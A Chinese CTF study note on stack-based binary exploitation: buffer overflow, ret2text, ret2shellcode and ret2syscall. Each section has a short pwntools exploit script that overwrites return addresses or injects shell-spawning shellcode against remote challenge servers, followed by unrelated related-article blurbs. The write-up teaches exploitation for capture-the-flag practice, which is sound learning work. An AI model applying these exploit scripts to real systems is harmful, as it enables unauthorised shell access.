CTFpwn学习笔记1-栈溢出

栈溢出

通过写入超出数组定义范围的字符长度达到溢出,从而覆盖栈上其余数据,覆盖返回地址约等于控制程序执行流

例如:

 经过ida反编译后,发现这里要将v2的值修改为11.28125才能获得flag,同时我们可以发现这里使用了gets这个函数,gets函数是存在非常直接的栈溢出漏洞的,我们可以往v1内写入无限长的数据,同时我们可以ida里看到,v1的范围是44个字节,v2的位置在v1末尾距离栈顶有4个字节,大小也为4个字节,栈的总大小为0x30也就是48个字节

那么我们就可以通过v2溢出覆盖v1的值为11.28125,同时我们还需要得到11.28125在汇编里的16进制

找到func函数,并且找到其中汇编的浮点数比较语句

可以看到11.28125的地址为4001F4,同时继续跟进也可以得到其值为41348000h

那么我们就可以编写脚本

from pwn import *
p=remote("node4.anna.nssctf.cn",28918)
payload=b'a'*0x2c+p64(0x41348000) #0x2c个字符a用于覆盖v1变量,p64(0x41348000)用于覆盖v2
p.recvline()#接收程序向我们输出的信息
p.sendline(payload)#发送payload
p.interactive()#开启交互

运行后得到flag

ret2text

原理

  • 劫持控制流,返回到程序自身代码段(.text)中已有的指令片段(gadgets)。

  • 通常利用程序中已有的system()或危险函数(如execve)的代码片段。

例题:[BJDCTF 2020]babystack

通过ida打开发现注入点read函数,buf变量可以覆盖,并且其范围是12字节,还有一个nbytes变量为4字节

发现存在后门函数backdoor

于是试想利用栈溢出覆盖返回地址为后门函数的地址从而执行后门函数

编写脚本,查看后门函数地址

这里我们要先传入nbytes来控制buf变量接收的字节数

from pwn import *
p=remote("node4.anna.nssctf.cn",28602)
payload=b'a'*0x18+p64(0x4006e6)
p.sendlineafter('name:','500')#在收到‘name’字符串后发送字符串‘500’给变量nbytes
p.sendline(payload)
p.interactive()

运行后成功控制

ret2shellcode

原理

  • 将控制流劫持到用户输入的shellcode(一段恶意机器指令)。

  • shellcode通常写入栈、堆或全局变量(需可执行权限)。

例题:[HNCTF 2022 Week1]ret2shellcode

使用checksec检查发现是64位程序,并且开启了NX等保护

在ida中没有寻找到后门函数,并且题目也提示了,就是让我们自己写入一串shell并调用,但是为什么开启了NX保护还是ret2shellcode呢

其源码如下

#include<stdio.h>
char buff[256];
int main()
{setbuf(stdin,0);setbuf(stderr,0);setbuf(stdout,0);mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);char buf[256];memset(buf,0,0x100);read(0,buf,0x110);strcpy(buff,buf);return 0;
}

 其中漏洞主要就在

mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7); 

read(0,buf,0x110);

 strcpy(buff,buf);

这三条代码上,定义了buff变量范围为256个字节,然后这里可以向buf写入272(0x110)个字节,再把buf复制到buff变量上从而造成溢出,而mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);这条代码又使.bss段可执行,.bss段存放着全局变量,而buff就是一个全局变量,这就导致了ret2shellcode

所以我们只需要将我们的shell写入buff变量再将返回地址覆盖成buff的地址就可以执行shell了

编写exp

from pwn import *
context.arch="amd64"#设置目标框架为x86-64位也就是64位系统
io=remote('node5.anna.nssctf.cn',24184)
payload=asm(shellcraft.sh()).ljust(264,b'a')+p64(0x4040a0)
io.sendline(payload)
io.interactive()

 执行脚本后成功得到shell

ret2syscall

原理

  • 通过ROP链直接调用系统调用(syscall),如execve("/bin/sh", 0, 0)

  • 需构造寄存器参数(x86_64下:rax=59rdi="/bin/sh"rsi=0rdx=0)。

构造ROP链:

32位:

mov eax,0xb

mov ebx,["/bin/sh"]

mov ecx,0

mov edx,0

int 0x80      注意这里int不是整型的意思而是interrupt中断的意思

64位:

mov rax,59

mov rdi,"/bin/sh"

mov rsi,0

mov rdx,0

syscall

等于execve("/bin/sh",NULL,NULL)

例题:[WUSTCTF 2020]getshell2

使用checksec查看文件,为32位程序并且打开NX

在ida中查看源码,发现没有让栈或堆可执行的代码,那么就无法ret2shellcode了。

继续观察,发现存在假的后门函数,但是system()函数是实实在在存在的,有利用价值

同时漏洞点也给的非常明确了,就在vulnerable函数里,我们通过溢出buf变量,修改返回地址位我们构造的rop链,同时我们要填充的范围也可以得到为28个字节

前面得到call system的地址为0x08048529,再使用ROPgadget寻找/bin/sh字符串

成功找到sh,其地址为0x08048670

于是编写exp

from pwn import *
io=remote('node5.anna.nssctf.cn',23104)
payload=b'a'*28+p32(0x08048529)+p32(0x08048670)
io.sendline(payload)
io.interactive()

执行后获得shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/91287.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/91287.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用 Android Studio 中的 Gemini,让 Flutter 开发更便捷

作者 / Flutter 产品经理 Ander Dobo 及 Gemini in Android Studio 产品经理 Sandhya Mohan在 Android Studio 中创建 Android 应用的 Flutter 开发者将迎来一次重大的飞跃: Android Studio 中的 Gemini 已全面支持 Dart 和 Flutter 开发&#xff01;这意味着您可以直接在您青睐…

Deep Learning_ Foundations and Concepts-Springer (2024)【拜读】前向编码器20章

Diffusion Models 扩散模型 我们已经了解到&#xff0c;构建强大的生成模型的一种有效方法是&#xff1a;先引入一个关于潜在变量z的分布p(z)&#xff0c;然后使用深度神经网络将z变换到数据空间x。由于神经网络具有通用性&#xff0c;能够将简单固定的分布转化为关于x的高度灵…

Spring全局异常处理最佳实践

全局异常处理器详解 什么是全局异常处理器&#xff1f; 全局异常处理器是Spring框架提供的统一异常处理机制&#xff0c;用于集中处理应用程序中所有控制器&#xff08;Controller&#xff09;层抛出的异常。它的核心价值在于&#xff1a; 统一异常处理&#xff1a;避免在每个C…

STL学习(十一、常用的算数算法和集合算法)

目录 一、常用的算数算法 1.accmulate 2.fill 二、常用的集合算法 1.set_intersection 2.set_union 3.set_difference 一、常用的算数算法 包含头文件为<numeric> 1.accmulate 函数原型 accmulate(iterator beg, iterator end, value) // 计算元素累计和 // …

DeepSort 算法分析详解

DeepSort 算法分析详解 DeepSort 简介 DeepSort (Deep Learning Sort) 是一种基于深度学习的多目标跟踪算法&#xff0c;由 Wojke 等人于 2017 年提出。它是对传统 Sort (Simple Online and Realtime Tracking) 算法的改进&#xff0c;通过引入深度特征提取网络来增强目标关联的…

基于深度学习的医学图像分析:使用Capsule Networks实现医学图像分类

前言 医学图像分析是计算机视觉领域中的一个重要应用&#xff0c;特别是在医学图像分类任务中&#xff0c;深度学习技术已经取得了显著的进展。医学图像分类是指将医学图像分配到预定义的类别中&#xff0c;这对于疾病的早期诊断和治疗具有重要意义。近年来&#xff0c;Capsule…

G9打卡——ACGAN

&#x1f368; 本文为&#x1f517;365天深度学习训练营中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 1.导入库及参数 import argparse import os import numpy as npimport torchvision.transforms as transforms from torchvision.utils import save_imagefrom…

应用war/jar包是用TongWeb企业版,还是嵌入版?

在判断应用应该采用TongWeb哪个版本时&#xff0c;存在一种错误的观点&#xff1a;如果应用包是jar包&#xff0c;则需要采用TongWeb嵌入版&#xff1b;如果应用包是war包&#xff0c;则需要采用TongWeb企业版。 正确的判断方法&#xff1a;1. 首先应用为jar包&#xff0c;且符…

Linux ARM 平台 C 语言操作 Excel 文件的常用库与工具汇总(支持 xls 和 xlsx)

在 Linux 或嵌入式 ARM 平台开发中&#xff0c;使用 C 语言操作 Excel 文件是一项常见需求&#xff0c;特别是在工业设备数据采集、日志导出、报表生成等场景。Excel 文件格式复杂&#xff0c;手工解析成本高&#xff0c;因此使用现成的库可以极大简化开发工作。 本文整理了若…

Apache Ignite 集群标识(Cluster ID)和集群标签(Cluster Tag)

这是一个关于 Apache Ignite 集群标识&#xff08;Cluster ID&#xff09;和集群标签&#xff08;Cluster Tag&#xff09; 的重要配置概念。我们来一步步深入理解这段文档的含义&#xff0c;并结合实际场景说明其用途。&#x1f9e9; 一、核心概念&#xff1a;Cluster ID 与 C…

基于 Hadoop 生态圈的数据仓库实践 —— OLAP 与数据可视化(三)

目录 三、Impala OLAP 实例 1. 建立 olap 库、表、视图 2. 初始装载数据 3. 修改销售订单定期装载脚本 4. 定义 OLAP 需求 5. 执行 OLAP 查询 三、Impala OLAP 实例 本节使用前面销售订单的例子说明如何使用 Impala 做 OLAP 类型的查询&#xff0c;以及实际遇到的问题及解…

如何不让android studio自动换行

一、关闭逗号后自动换行设置 打开设置界面 进入 File → Settings &#xff08;Windows/Linux&#xff09;或 Preferences &#xff08;macOS&#xff09;。 导航至 Editor → Code Style → 选择语言&#xff08;如 Java 或 Kotlin &#xff09;。 二、修改换行规则…

Jenkinsfile 报错

Started by user 六件套Obtained Jenkinsfile from git https://gitee.com/duoshuijiao/vitepress-jenkins-cicd-demoorg.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed:WorkflowScript: 28: Expected a step line 28, column 66.fingerprint:…

工业一体机全封闭抗干扰赋能自动化产线高效作业

在自动化产线智能设备等工业场景中&#xff0c;工业一体机的应用面临多重挑战&#xff1a;高温、粉尘、电磁干扰等恶劣环境易导致设备误操作&#xff0c;传统工控机平均无故障时间不足4000小时&#xff1b;封闭车间散热效率低下&#xff0c;风扇散热失效风险增加&#xff0c;产…

鸿蒙NEXT开发笔记(二十八)仿抖音快手App的把位图数据转存为图片

上一节我们利用Scroller实现了列表项的自动滚动功能&#xff0c;对于图像列表来说&#xff0c;被选做封面的图像需要保存为图片文件&#xff0c;以便向服务器上传封面图片。 由于avImageGenerator从视频提取的图像帧数据为image.PixelMap&#xff08;位图格式&#xff09;&…

四、搭建springCloudAlibaba2021.1版本分布式微服务-加入openFeign远程调用和sentinel流量控制

OpenFeign远程调用 1、OpenFeign OpenFeign是一种声明式、模板化的HTTP客户端。在Spring Cloud中使用OpenFeign&#xff0c;可以做到使用HTTP请求访问远程服务&#xff0c;就像调用本地方法一样的&#xff0c;开发者完全感知不到这是在调用远程方法&#xff0c;更感知不到在访问…

网络安全威胁——APT攻击_apt攻击预测案例

APT攻击 1. 基本概念2. APT的攻击阶段3. APT的典型案例参考 1. 基本概念 高级持续性威胁&#xff08;APT&#xff0c;Advanced Persistent Threat&#xff09;&#xff0c;又叫高级长期威胁&#xff0c;是一种复杂的、持续的网络攻击&#xff0c;包含高级、长期、威胁三个要…

顺时针旋转N * N 的矩阵

顺时针旋转题目描述数据范围实现逻辑代码实现题目描述 有一个NxN整数矩阵&#xff0c;请编写一个算法&#xff0c;将矩阵顺时针旋转90度。给定一个NxN的矩阵&#xff0c;和矩阵的阶数N,请返回旋转后的NxN矩阵。数据范围 0<n<300&#xff0c;矩阵中的值满足 0≤val≤100…

原生C++实现信号与槽机制:原理详解

信号与槽机制是一种广泛应用于事件驱动系统和GUI框架&#xff08;如Qt&#xff09;的设计模式。它允许组件之间通过订阅-发布模式进行通信&#xff0c;从而实现松耦合的设计。本文将详细讲解如何在原生C中从零开始实现信号与槽机制&#xff0c;并深入探讨其工作原理。一、信号与…

【人工智能】OpenAI的AI代理革命:通向超拟人交互的未来之路

人工智能代理(AI Agent)正引领一场深刻的技术变革,其核心在于赋予AI系统感知、规划、行动和学习的能力,以自主完成复杂任务。OpenAI作为这一领域的先驱,通过其大型语言模型(LLMs)如GPT系列,极大地推动了AI代理的发展,使其在自然语言理解、生成和工具使用方面达到了前所…